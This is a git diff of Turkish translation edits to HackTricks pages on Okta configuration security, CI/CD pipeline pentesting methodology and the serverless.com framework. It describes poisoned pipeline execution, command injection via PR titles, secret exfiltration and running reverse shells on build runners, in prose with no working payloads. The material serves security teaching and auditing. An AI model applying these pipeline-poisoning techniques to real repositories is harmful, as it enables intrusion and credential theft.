Kimlik Sağlayıcısını (bu mümkünse) sınırlamak önerilir. Örneğin, her kullanıcının bir ülkeden giriş yapması gerekiyorsa, yalnızca bu konuma izin verebilirsiniz. -### Identity Providers +### Kimlik Sağlayıcıları -Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendi kendine kaydolmalarını** sağlar. +Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendilerini kaydetmelerini** sağlar. Kimlik Sağlayıcıları sayfasında, sosyal girişleri (IdP'ler) ekleyebilir ve Okta'yı bir hizmet sağlayıcı (SP) olarak yapılandırmak için içe aktarılan SAML ekleyebilirsiniz. IdP'leri ekledikten sonra, kullanıcıları bir IdP'ye yönlendirmek için bağlama dayalı yönlendirme kuralları ayarlayabilirsiniz; örneğin, kullanıcının konumu, cihazı veya e-posta alanı gibi. **Herhangi bir kimlik sağlayıcı yapılandırılmışsa**, saldırganlar ve savunucular açısından bu yapılandırmayı kontrol edin ve **kaynağın gerçekten güvenilir olup olmadığını** kontrol edin, çünkü bir saldırgan bunu tehlikeye atarak Okta ortamına da erişim sağlayabilir. -### Delegated Authentication +### Devredilmiş Kimlik Doğrulama -Delege edilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır. +Devredilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır. Yine, bunu yeniden kontrol edin, çünkü bir saldırganın bir kuruluşun AD'sini tehlikeye atması, bu ayar sayesinde Okta'ya geçiş yapabilmesine neden olabilir. -### Network +### Ağ -Bir ağ bölgesi, erişimi **vermek veya kısıtlamak için** kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden **IP adresine** dayalı olarak bilgisayarlara ve cihazlara erişim sağlar. Bir ağ bölgesini, bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek tanımlayabilirsiniz. +Bir ağ bölgesi, erişimi **vermek veya kısıtlamak** için kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden bilgisayarlar ve cihazlar için **IP adresine** dayalıdır. Bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek bir ağ bölgesi tanımlayabilirsiniz. Bir veya daha fazla ağ bölgesi tanımladıktan sonra, bunları **Küresel Oturum Politikalarında**, **kimlik doğrulama politikalarında**, VPN bildirimlerinde ve **yönlendirme kurallarında** kullanabilirsiniz. -Saldırganlar açısından hangi IP'lerin izinli olduğunu bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanılıp kullanılmadığını kontrol edin. +Saldırganlar açısından hangi IP'lerin izin verildiğini bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanıldığını kontrol edin. -### Device Integrations +### Cihaz Entegrasyonları - **Uç Nokta Yönetimi**: Uç nokta yönetimi, yönetilen cihazların bir uygulamaya erişimini sağlamak için bir kimlik doğrulama politikasında uygulanabilecek bir koşuldur. -- Bunu henüz görmedim. TODO -- **Bildirim hizmetleri**: Bunu henüz görmedim. TODO +- Bunu henüz görmedim. YAPILACAK +- **Bildirim hizmetleri**: Bunu henüz görmedim. YAPILACAK ### API Bu sayfada Okta API jetonları oluşturabilir ve **oluşturulan** jetonları, **yetkilerini**, **sona erme** sürelerini ve **Kaynak URL'lerini** görebilirsiniz. API jetonları, jetonu oluşturan kullanıcının izinleriyle oluşturulur ve yalnızca **oluşturan kullanıcı** **aktif** olduğunda geçerlidir. -**Güvenilir Kaynaklar**, Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için kontrol ettiğiniz ve güvendiğiniz web sitelerine erişim izni verir. +**Güvenilir Kaynaklar**, kontrol ettiğiniz ve Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için güvenilir olan web sitelerine erişim izni verir. -Çok fazla API jetonu olmamalıdır, çünkü varsa bir saldırgan bunlara erişmeye çalışabilir ve kullanabilir. +Çok fazla API jetonu olmamalıdır, çünkü eğer varsa bir saldırgan bunlara erişmeye ve kullanmaya çalışabilir. -## Workflow +## İş Akışı -### Automations +### Otomasyonlar Otomasyonlar, son kullanıcıların yaşam döngüsü sırasında meydana gelen bir dizi tetikleyici koşuluna dayalı olarak çalışan otomatik eylemler oluşturmanıza olanak tanır. -Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Kullanıcı yaşam döngüsü durumunu Okta'da değiştir" olabilir. +Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Okta'da kullanıcı yaşam döngüsü durumunu değiştir" olabilir. -## Reports +## Raporlar -### Reports +### Raporlar Günlükleri indirin. Bunlar, mevcut hesabın **e-posta adresine** **gönderilir**. -### System Log +### Sistem Günlüğü Burada, kullanıcıların Okta'da veya Okta aracılığıyla uygulamalarda gerçekleştirdiği **hareketlerin günlüklerini** bulabilirsiniz. -### Import Monitoring +### İçe Aktarma İzleme Bu, **Okta ile erişilen diğer platformlardan günlükleri içe aktarabilir**. -### Rate limits +### Hız limitleri Ulaşılan API hız limitlerini kontrol edin. -## Settings +## Ayarlar -### Account +### Hesap -Burada, şirket adı, adres, **e-posta fatura iletişim bilgisi**, **e-posta teknik iletişim bilgisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz. +Burada, şirket adı, adres, **e-posta fatura iletişim kişisi**, **e-posta teknik iletişim kişisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz. -### Downloads +### İndirmeler Burada, Okta'yı diğer teknolojilerle senkronize etmek için Okta ajanlarını indirebilirsiniz. diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 22b13134f..3eeb65e50 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodolojisi +# Pentesting CI/CD Metodolojisi {{#include ../banners/hacktricks-training.md}} @@ -16,7 +16,7 @@ VCS, **Versiyon Kontrol Sistemi** anlamına gelir, bu sistemler geliştiricileri ## CI/CD Boru Hatları -CI/CD boru hatları, geliştiricilerin **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bu, uygulamaların inşası, test edilmesi ve dağıtılması gibi çeşitli amaçlar için geçerlidir. Bu otomatik iş akışları, **belirli eylemler** tarafından **tetiklenir**, örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecini üretime taşımak için faydalıdırlar. +CI/CD boru hatları, geliştiricilerin çeşitli amaçlar için **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bunlar arasında uygulamaların inşası, test edilmesi ve dağıtılması yer alır. Bu otomatik iş akışları, **belirli eylemler** tarafından tetiklenir; örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecinden üretime geçişi kolaylaştırmak için faydalıdırlar. Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod dağıtmak veya hassas bilgilere erişmek için ayrıcalıklı kimlik bilgileri** ile çalışır. @@ -25,64 +25,64 @@ Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod d > [!NOTE] > Bazı VCS platformları bu bölüm için boru hatları oluşturulmasına izin verse de, yalnızca kaynak kodunun kontrolüne yönelik potansiyel saldırıları analiz edeceğiz. -Projenizin kaynak kodunu içeren platformlar hassas bilgiler içerir ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır: +Projenizin kaynak kodunu içeren platformlar hassas bilgiler barındırır ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır: - **Sızıntılar**: Kodunuzda taahhütlerde sızıntılar varsa ve saldırgan repo'ya erişebiliyorsa (çünkü kamuya açıktır veya erişimi vardır), sızıntıları keşfedebilir. -- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişebiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir. -- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların hesap oluşturmasına izin verir. +- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişim sağlayabiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir. +- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların bir hesap oluşturmasına izin verir. - **SSO**: Bazı platformlar kullanıcıların kayıt olmasına izin vermez, ancak geçerli bir SSO ile erişim sağlar (bu nedenle bir saldırgan örneğin github hesabını kullanarak girebilir). - **Kimlik Bilgileri**: Kullanıcı adı+Şifre, kişisel tokenlar, ssh anahtarları, Oauth tokenları, çerezler... bir kullanıcının bir repo'ya erişmek için çalabileceği çeşitli token türleri vardır. -- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen sırlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**. -- Eğer hiçbir gizli bilgi yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir. -- Eğer gizli bilgi URL'de ise, aynı şey olur ve saldırgan da gizli bilgiye sahip olur. +- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen gizli anahtarlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**. +- Eğer gizli bir anahtar yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir. +- Eğer gizli anahtar URL'de ise, aynı şey olur ve saldırgan da gizli anahtara sahip olur. - **Kodun tehlikeye atılması:** Eğer kötü niyetli bir aktörün repo'lar üzerinde bir tür **yazma** erişimi varsa, **kötü niyetli kod enjekte etmeye** çalışabilir. Başarılı olmak için **dal korumalarını aşması** gerekebilir. Bu eylemler farklı hedeflerle gerçekleştirilebilir: - Ana dalı tehlikeye atmak, **üretimi tehlikeye atmak**. -- Ana (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar). +- Ana dalı (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar). - **Boru hattını tehlikeye atmak** (bir sonraki bölüme bakın). ## Boru Hatları Pentesting Metodolojisi Bir boru hattını tanımlamanın en yaygın yolu, boru hattının inşa edildiği **repo'da barındırılan bir CI yapılandırma dosyası** kullanmaktır. Bu dosya, yürütülen işlerin sırasını, akışı etkileyen koşulları ve yapı ortamı ayarlarını tanımlar.\ -Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır. +Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir; örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır. Bu nedenle, saldırganın nihai hedefi, bir şekilde **bu yapılandırma dosyalarını** veya **yürüttükleri komutları tehlikeye atmaktır**. ### PPE - Zehirli Boru Hattı Yürütmesi -Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle eder ve zararlı komutlar yürütür. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu kötü niyetli komutların yürütülmesine yol açar. +Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle etmek ve zararlı komutlar yürütmek için kullanılır. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu zararlı komutların yürütülmesine yol açar. -Kötü niyetli bir aktörün PPE saldırısı gerçekleştirmesi için şunları yapabilmesi gerekir: +Kötü niyetli bir aktörün PPE saldırısını başarılı bir şekilde gerçekleştirebilmesi için: -- **VCS platformuna yazma erişimine sahip olmak**, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın). +- **VCS platformuna yazma erişimine sahip olması** gerekir, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın). - Bazen bir **dış PR'nin "yazma erişimi" olarak sayıldığını** unutmayın. -- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olmalıdır**. +- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olması** gerekir. - Bunun için **dal korumalarını aşabilmesi** gerekebilir. Üç PPE çeşidi vardır: -- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını değiştirdiği durumdur. -- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** dayandığı bir **dosyayı** değiştirdiği durumdur (örneğin bir make dosyası veya bir terraform yapılandırması). -- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile olmayabilir) çünkü bir PR gönderebilirler. -- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** ayarlayacaktır. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) kullanılıyorsa, bir saldırgan **orada komut enjekte edebilir**. +- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını **değiştirdiği** durumdur. +- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** **dayandığı** bir **dosyayı** **değiştirdiği** durumdur (örneğin bir make dosyası veya terraform yapılandırması). +- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile değildir) çünkü bir PR gönderebilirler. +- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** **ayarlar**. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) **kullanılıyorsa**, bir saldırgan **orada komut enjekte edebilir**. -### Sömürü Faydaları +### Kötüye Kullanım Faydaları -Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir sömürüden sonra bir saldırganın elde edebileceği şeylere bakalım: +Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir kötüye kullanım sonrasında bir saldırganın elde edebileceği şeylere bakalım: -- **Sırları**: Daha önce belirtildiği gibi, boru hatları işlerinin yürütülmesi için **ayrıcalıklara** ihtiyaç duyar (kodu almak, inşa etmek, dağıtmak...) ve bu ayrıcalıklar genellikle **sırlarla verilir**. Bu sırlar genellikle **ortam değişkenleri veya sistem içindeki dosyalar aracılığıyla** erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok sır çıkarmaya çalışacaktır. -- Saldırgan, boru hattı platformuna bağlı olarak **sırları yapılandırmada belirtmek zorunda kalabilir**. Bu, eğer saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu sırları **çıkartabileceği** anlamına gelir. +- **Gizli Bilgiler**: Daha önce belirtildiği gibi, boru hatları işlerinin (kodu almak, inşa etmek, dağıtmak...) **ayrıcalıklara** ihtiyaç duyar ve bu ayrıcalıklar genellikle **gizli bilgilerle** verilir. Bu gizli bilgiler genellikle **ortam değişkenleri veya sistem içindeki dosyalar** aracılığıyla erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok gizli bilgi sızdırmaya çalışacaktır. +- Boru hattı platformuna bağlı olarak, saldırgan **gizli bilgileri yapılandırmada belirtmek zorunda kalabilir**. Bu, saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu gizli bilgileri **sızdırabileceği** anlamına gelir. - **Hesaplama**: Kod bir yerde yürütülür, nerede yürütüldüğüne bağlı olarak bir saldırgan daha ileriye geçebilir. - **Yerinde**: Eğer boru hatları yerinde yürütülüyorsa, bir saldırgan **daha fazla kaynağa erişimi olan bir iç ağa** girebilir. -- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir ama aynı zamanda **IAM rolleri/hizmet hesapları** **tokenlarını** çıkartarak **bulut içinde daha fazla erişim** elde edebilir. -- **Platform makinesi**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir. -- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olacaktır** ve eğer CI yapılandırma dosyasını **değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla sömürü sağlamaya çalışacaktır. +- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir, ancak ayrıca **IAM rolleri/hizmet hesapları** **tokenlarını** sızdırarak **bulut içinde daha fazla erişim** elde edebilir. +- **Platform makineleri**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir. +- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olabilir** ve eğer **CI yapılandırma dosyasını değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla kötüye kullanmaya çalışacaktır. - **Üretimi tehlikeye atmak**: Eğer boru hattı içindeyseniz ve nihai versiyon buradan inşa edilip dağıtılıyorsa, **üretimde çalışacak kodu tehlikeye atabilirsiniz**. ## Daha Fazla İlgili Bilgi ### Araçlar & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynak bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynaklı bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır. ### En İyi 10 CI/CD Güvenlik Riski @@ -90,7 +90,7 @@ Cider'a göre en iyi 10 CI/CD riski hakkında bu ilginç makaleyi kontrol edin: ### Laboratuvarlar -- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde yerel olarak nasıl başlatılacağını bulacaksınız. +- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde nasıl başlatılacağını bulacaksınız. - Gitea + Jenkins laboratuvarı: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Otomatik Araçlar diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index d468270e3..3d4d1b5d2 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -50,7 +50,7 @@ method: get Olay -**Olaylar**, sunucusuz işlevlerinizi tetikleyen tetikleyicilerdir. Bir işlevin nasıl ve ne zaman çalıştırılacağını tanımlar. +**Olaylar**, sunucusuz fonksiyonlarınızı tetikleyen tetikleyicilerdir. Bir fonksiyonun nasıl ve ne zaman çalıştırılacağını tanımlarlar. Yaygın olay türleri arasında HTTP istekleri, planlı olaylar (cron işleri), veritabanı olayları, dosya yüklemeleri ve daha fazlası bulunur. ```yaml @@ -70,9 +70,9 @@ rate: rate(10 minutes) Kaynak -**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır, örneğin veritabanları, depolama kovaları veya IAM rolleri. +**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır; örneğin veritabanları, depolama alanları veya IAM rolleri. -`resources` bölümünde belirtilir, genellikle AWS için CloudFormation sözdizimi kullanılarak. +`resources` bölümünde belirtilir ve genellikle AWS için CloudFormation sözdizimi kullanılır. ```yaml resources: Resources: @@ -140,7 +140,7 @@ plugins: Katmanlar -**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenize ve yönetmenize olanak tanır. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir. +**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenizi ve yönetmenizi sağlar. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. Katmanlar, `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir. ```yaml layers: commonLibs: @@ -159,7 +159,7 @@ layers: **Değişkenler**, yer tutucuların kullanımıyla dinamik yapılandırmayı mümkün kılar; bu yer tutucular dağıtım zamanında çözülür. -- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine atıfta bulunabilir. +- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine referans verebilir. ```yaml functions: @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenleri ve yapılandırmaları tanımlamak için kullanılır. +* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenler ve yapılandırmalar tanımlamak için kullanılır. ```yaml custom: @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} Çıktılar -**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgiler olabilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır. +**Çıktılar**, bir hizmet dağıtıldıktan sonra döndürülen değerleri tanımlar; bu değerler kaynak ARN'leri, uç noktalar veya diğer yararlı bilgileri içerebilir. `outputs` bölümünde belirtilir ve genellikle diğer hizmetlere bilgi sağlamak veya dağıtım sonrası kolay erişim için kullanılır. ```yaml ¡outputs: ApiEndpoint: @@ -254,7 +254,7 @@ plugins: Hooks -**Hooks**, dağıtım yaşam döngüsündeki belirli noktalarda özel betikler veya komutlar çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar. +**Hooks** özel betikleri veya komutları dağıtım yaşam döngüsündeki belirli noktalarda çalıştırmanıza olanak tanır. Dağıtımlardan önce veya sonra eylemler gerçekleştirmek için `serverless.yml` içinde veya eklentiler kullanılarak tanımlanırlar. ```yaml custom: hooks: @@ -262,9 +262,9 @@ before:deploy:deploy: echo "Starting deployment..." ```
-### Tutorial +### Eğitim -Bu, resmi öğreticinin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial): +Bu, resmi eğitimin bir özetidir [**belgelerden**](https://www.serverless.com/framework/docs/tutorial): 1. Bir AWS hesabı oluşturun (Serverless.com AWS altyapısında başlar) 2. serverless.com'da bir hesap oluşturun @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Bu, [serverless.com](serverless.com-security.md) adresinde kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** ve `helloworld` kodunu içeren bazı JS kodlarıyla birlikte **`handler.js`** dosyasını içeren `Tutorial` adında bir klasör oluşturmuş olmalıdır ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası: +Bu, kontrol edebileceğiniz `tutorialapp` adında bir **uygulama** oluşturmuş olmalı [serverless.com](serverless.com-security.md) ve içinde `helloworld` kodu bulunan bazı JS kodları içeren **`handler.js`** dosyasına sahip `Tutorial` adında bir klasör oluşturmuş olmalı ve bu fonksiyonu beyan eden **`serverless.yml`** dosyası: {{#tabs }} {{#tab name="handler.js" }} @@ -325,7 +325,7 @@ method: get 4. Bir AWS sağlayıcısı oluşturun, `https://app.serverless.com//settings/providers?providerId=new&provider=aws` adresindeki **dashboard**'a giderek. 1. `serverless.com`'a AWS erişimi vermek için, bu yapılandırma dosyasını kullanarak bir cloudformation yığını çalıştırmanızı isteyecektir (bu yazının yazıldığı sırada): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve bu rol, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte **`arn:aws:iam::aws:policy/AdministratorAccess`** üzerinde hesap için geçerlidir. +2. Bu şablon, **`SFRole-`** adında bir rol oluşturur ve **`arn:aws:iam::aws:policy/AdministratorAccess`** ile birlikte, `Serverless.com` AWS hesabının bu role erişmesine izin veren bir Güven İlişkisi ile birlikte hesap üzerinde.
@@ -399,7 +399,7 @@ Type: String ```
-5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor. +5. Eğitim, temel olarak yeni bir API uç noktası oluşturacak olan `createCustomer.js` dosyasını oluşturmanızı ve oluşturulan lambdaları kullanacak rolü tanımlamak için **yeni bir DynamoDB tablosu** oluşturacak şekilde `serverless.yml` dosyasını değiştirmenizi istiyor. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -481,9 +481,9 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtab }} {{#endtabs }} -6. **`serverless deploy`** komutunu çalıştırarak dağıtımı yapın +6. **`serverless deploy`** komutunu çalıştırarak dağıtımı gerçekleştirin 1. Dağıtım, bir CloudFormation Stack aracılığıyla gerçekleştirilecektir -2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açık olduğunu unutmayın +2. **lambdaların API gateway aracılığıyla** ve doğrudan URL'ler aracılığıyla değil, açığa çıktığını unutmayın 7. **Test edin** 1. Önceki adım, API uç noktalarınızın lambda fonksiyonlarının dağıtıldığı **URL'leri** yazdıracaktır @@ -553,7 +553,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Hassas bilgilerin (örneğin, API anahtarları, veritabanı kimlik 